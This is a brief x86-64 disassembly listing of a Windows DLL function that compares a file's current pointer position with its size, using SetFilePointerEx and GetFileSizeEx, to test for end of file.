mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180014cc0
mov ecx, dword [rcx + 0x18]
nop
call fcn.18001fb68
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180014cc0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180014cc0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180014cc0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180014cc2
xor al, al
add rsp, 0x20
pop rbx
ret